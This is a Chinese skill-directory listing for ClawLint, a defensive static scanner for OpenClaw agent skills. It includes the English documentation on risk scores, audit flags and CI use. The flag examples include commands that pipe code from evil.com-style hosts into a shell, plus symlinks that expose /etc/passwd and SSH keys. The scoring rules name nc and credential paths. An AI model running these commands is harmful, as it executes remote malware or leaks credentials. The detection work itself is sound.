微算力 · API 导航与自营网关
API 接入 EN
未登录登录
🛡️

OpenClaw 技能预执行安全审计

claw-lint · vv1.0.4
专业技能 安全 S 级 作者 ParthGhumatkar 公开目录收录
下载 1.9k 安装 439 收藏 8.2k 浏览 70.2k
原始页面

简介

OpenClaw 生态的静态安全扫描器,在技能执行前检测恶意代码与后门,提供风险评分与完整性监控,实现零执行风险的预防御。

原始描述

Security scanner for OpenClaw skills. Detects malware and backdoors before execution, scores risk levels, and monitors file integrity through static code analysis.

中文使用说明 来自收录源

核心用法

ClawLint 是一款专为 OpenClaw 技能生态设计的本地安全审计工具,采用纯静态代码分析技术,在不执行任何代码的前提下扫描已安装技能的安全风险。用户可通过 claw-lint.sh 脚本对工作目录(~/.openclaw/workspace/skills)和系统目录(~/.openclaw/skills)中的技能进行批量或单技能扫描,支持风险评分过滤、完整文件清单生成及 JSON 格式输出,便于集成到 CI/CD 流水线中实现自动化安全检查。

显著优点

该工具的最大优势在于零执行安全扫描——仅通过 grep、awk 等标准 Unix 工具进行文本模式匹配,从根本上杜绝了扫描过程中误触恶意代码的风险。其次,其风险评分体系设计科学,将远程代码执行、凭证窃取、权限提升等高危行为量化为 0-100 分的风险值,并辅以 SHA256 完整性校验实现变更追踪。纯 Bash 实现使其具备极强的环境适应性,无需 Python 依赖即可在 Ubuntu/Debian、EC2 等主流环境开箱即用。

潜在缺点与局限性

作为静态分析工具,ClawLint 存在固有的技术边界:无法检测运行时动态生成的代码行为,对混淆代码或新型攻击模式可能出现漏报;基于正则的模式匹配机制可能产生误报,需结合人工审查确认;当前版本仅支持本地已安装技能的扫描,无法在安装前对 ClawHub 远程包进行预检。此外,JSON 输出功能依赖 Python 3,在极简环境中可能存在兼容限制。

适合的目标群体

该技能主要面向三类用户:一是安全敏感型企业,需要在生产环境中建立 Skill 安全基线并进行持续监控;二是DevOps 工程师,希望将安全扫描嵌入 CI/CD 流水线实现左移安全;三是OpenClaw 生态贡献者,用于在发布前自检技能安全性或审计第三方依赖。

使用风险

ClawLint 本身作为防御型工具风险极低,但需注意:过度依赖自动化扫描可能产生安全幻觉,应配合运行时沙箱、病毒扫描等手段形成纵深防御;评分阈值设置不当可能导致高危技能漏过(建议 --min-score 50 起步);定期更新扫描规则库对应对新型威胁至关重要。


综合评估:ClawLint 是 OpenClaw 生态目前最成熟的安全基础设施组件之一,推荐作为 Skill 安装的强制门禁使用。

技能正文


name: claw-lint description: Security scanner for OpenClaw skills. Detects malware and backdoors before execution, scores risk levels, and monitors file integrity through static code analysis.

ClawLint

Security linter for OpenClaw skills

Runs a local audit over your installed OpenClaw skills without executing any code. Scans both workspace (~/.openclaw/workspace/skills) and system (~/.openclaw/skills) directories.

With 7.1% of ClawHub skills containing security flaws, ClawLint provides pre-execution defense by identifying malicious patterns before they run.

Summary

ClawLint audits OpenClaw skills for security threats without executing code. It detects malicious patterns like remote execution, credential theft, and backdoors, then assigns risk scores (0-100) and generates SHA256 hashes for integrity monitoring. Outputs JSON for automation and CI/CD pipelines.


What It Does

  • Risk scoring — assigns a numeric risk score (0-100) based on detected patterns
  • Audit flags — identifies suspicious behaviors (remote execution, secret access, etc.)
  • Inventory mode — optional SHA256 hashing of all files for change detection
  • JSON output — machine-readable results (requires Python 3)
  • No execution — static analysis only, safe to run on untrusted skills

Quick Start

Scan all skills (summary view)

{baseDir}/bin/claw-lint.sh

Scan one specific skill

{baseDir}/bin/claw-lint.sh --skill <skill-name>

Example: {baseDir}/bin/claw-lint.sh --skill hashnode-publisher

Full inventory with SHA256 hashes

{baseDir}/bin/claw-lint.sh --full --skill <skill-name>

JSON output (requires Python 3)

{baseDir}/bin/claw-lint.sh --format json

Options

Flag Description
--skill <name> Scan only the specified skill
--full Include SHA256 inventory of all files
--format json Output as JSON (needs python3)
--min-score <N> Show only skills with risk score ≥ N
--strict Prioritize high-severity patterns
--max-bytes <N> Skip files larger than N bytes (default: 2MB)

Understanding the Output

Risk Score

  • 0-30: Low risk (common patterns, minimal concerns)
  • 31-60: Medium risk (network access, file operations)
  • 61-100: High risk (remote execution, credential access, system tampering)

Common Flags

  • pipes_remote_to_shell — downloads and executes remote code
  • downloads_remote_content — fetches external files
  • has_executables — contains binary files
  • uses_ssh_or_scp — SSH/SCP operations
  • contains_symlinks — symbolic links present

Example Output

SCORE  SKILL                FILES  SIZE     FLAGS
-----  -----                -----  ----     -----
57     hashnode-publisher   2      1.1KB    downloads_remote_content,pipes_remote_to_shell
45     ec2-health-monitor   2      1.9KB    pipes_remote_to_shell

Risk Scoring Details

ClawLint assigns risk scores from 0 (safe) to 100 (critical) based on pattern detection:

Score Range Classification Description
0-20 Low Risk Standard file operations, no suspicious patterns
21-50 Medium Risk Network calls or external dependencies detected
51-80 High Risk Multiple suspicious patterns or obfuscation detected
81-100 Critical Remote execution, secret access, or privilege escalation

Scoring Factors

  • +25 points: Remote execution patterns (curl | bash, wget -O-, nc)
  • +30 points: Secret/credential access (~/.openclaw/credentials, ~/.ssh/)
  • +20 points: Privilege escalation (sudo, setuid, chmod +s)
  • +15 points: Code obfuscation (base64 decode, eval, exec in suspicious contexts)
  • +10 points: External network calls (curl, wget, http requests)
  • +10 points: File system operations outside skill directory
  • +5 points: Use of /tmp or world-writable directories

Audit Flags Explained

pipes_remote_to_shell

Downloads and executes external code without verification.

Examples:

curl https://evil.com/script.sh | bash
wget -O- https://malicious.site/payload | sh

Risk: Critical. Remote code execution vector for malware.

downloads_remote_content

Fetches external files or data from the internet.

Examples:

curl -O https://example.com/file.tar.gz
wget https://cdn.example.com/data.json

Risk: Medium-High. Potential supply chain attack or data exfiltration.

has_executables

Contains compiled binary files (not shell scripts).

Examples:

  • ELF binaries
  • Compiled programs

Risk: Medium. Harder to audit, may contain hidden functionality.

uses_ssh_or_scp

Performs SSH/SCP operations.

Examples:

ssh user@remote.host "command"
scp file.txt user@remote:/path/

Risk: Medium. Potential for unauthorized remote access or data transfer.

contains_symlinks

Includes symbolic links that may point outside skill directory.

Examples:

ln -s /etc/passwd exposed_file
ln -s ~/.ssh/id_rsa key_link

Risk: Low-Medium. May expose sensitive files or create confusion.


Requirements

  • Bash 4.0+
  • Standard Unix tools: find, grep, awk, sha256sum, stat
  • Python 3 (optional, for JSON output only)

Works on Ubuntu/Debian without sudo. Designed for EC2 and similar environments.


Why Use This?

  • Audit skills before installation
  • Detect backdoors or malicious patterns in community skills
  • Track changes to installed skills with SHA256 inventory
  • Enforce security policies in automated pipelines

Output Formats

Terminal Output (Default)

Human-readable table format with color-coded risk scores (when terminal supports colors).

JSON Output (--format json)

Machine-readable structure for integration with CI/CD pipelines:

{
  "scan_date": "2026-02-13T14:50:00Z",
  "skills_scanned": 12,
  "high_risk_count": 2,
  "results": [
    {
      "skill_name": "hashnode-publisher",
      "risk_score": 57,
      "file_count": 2,
      "total_size": "1.1KB",
      "flags": ["downloads_remote_content", "pipes_remote_to_shell"],
      "files": [
        {
          "path": "bin/publish.sh",
          "sha256": "a1b2c3d4...",
          "size": 896
        }
      ]
    }
  ]
}

Best Practices

Regular Audits

Run ClawLint after installing or updating skills:

{baseDir}/bin/claw-lint.sh --min-score 50

Baseline Inventory

Create a security baseline for production environments:

{baseDir}/bin/claw-lint.sh --full --format json > baseline.json

Re-run periodically and diff against baseline to detect tampering.

CI/CD Integration

Add to your deployment pipeline:

# Fail build if any skill scores above 60
{baseDir}/bin/claw-lint.sh --format json | python3 -c "
import json, sys
data = json.load(sys.stdin)
high_risk = [s for s in data['results'] if s['risk_score'] > 60]
if high_risk:
    print(f'❌ {len(high_risk)} high-risk skills detected')
    sys.exit(1)
"

Whitelist Trusted Skills

For known-safe skills with legitimate flags, document exceptions:

# Example: hashnode-publisher needs network access
{baseDir}/bin/claw-lint.sh --skill hashnode-publisher
# Expected score: 45-60 (downloads_remote_content is legitimate)

Limitations

  • Static analysis only — cannot detect runtime behavior or dynamically generated code
  • Pattern-based — may have false positives for legitimate use cases
  • No sandbox — does not execute or test skills
  • Local files only — scans installed skills, not ClawHub packages before install

For comprehensive security, combine ClawLint with:

  • Manual code review for critical skills
  • VirusTotal scanning for executables
  • Runtime monitoring and sandboxing
  • Regular security updates

Contributing

Report false positives or suggest new detection patterns at the OpenClaw security repository.


License

MIT License - Free to use, modify, and distribute.

正文来自原始发布页, 版权归作者所有,许可未标注。 权利人认为有不妥,可申请下架。

其他来源收录

同一技能在不同目录的原始页面:

标签

securitytestingdevopsautomationdevelopment-engineering

同类 Skill